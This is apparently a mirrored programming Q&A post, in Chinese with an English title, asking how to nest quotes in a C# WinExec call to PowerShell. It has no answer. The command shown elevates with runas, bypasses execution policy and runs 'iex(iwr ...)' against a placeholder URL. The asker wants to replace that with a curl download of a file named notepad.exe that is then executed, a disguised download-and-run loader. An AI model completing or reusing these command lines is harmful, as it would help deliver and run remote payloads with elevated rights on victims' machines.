提问人:pwrsheller 提问时间:9/8/2022 更新时间:9/8/2022 访问量:82
当“、\”和“”已在使用中时,在 powershell 中使用从 C# 调用的引号
What quotations to use in powershell called from C# when ", \" and ' are already in use
问:
我正在学习报价,有一个我无法解决的问题。有一行用 C# 编写的代码使用 iwr
WinExec("powershell -noexit -ExecutionPolicy bypass -Command \"Start-Process -verb runas powershell\" \"'-noexit -ExecutionPolicy bypass -Command iex( iwr http://example.com/raw/xxxxxxx )\" '\"", 1);
由于缺乏IE引擎支持,我需要将“iex( iwr http://example.com/raw/xxxxxxx )”替换为:
curl -o notepad.exe "http://example.com/?Id=1&data=more%0data"; .\notepad.exe
通常我会这样做:
-noexit -ExecutionPolicy bypass -Command "curl -o notepad.exe \"http://example.com/?Id=1&data=more%0data\"; .\notepad.exe"
但是在给出的示例中,“,”\“和”已经在使用中。在命令中,我认为我需要添加“ 和 \”。
我可以使用其他报价来完成这项工作吗?如何做到这一点?
答: 暂无答案
评论
powershell.exe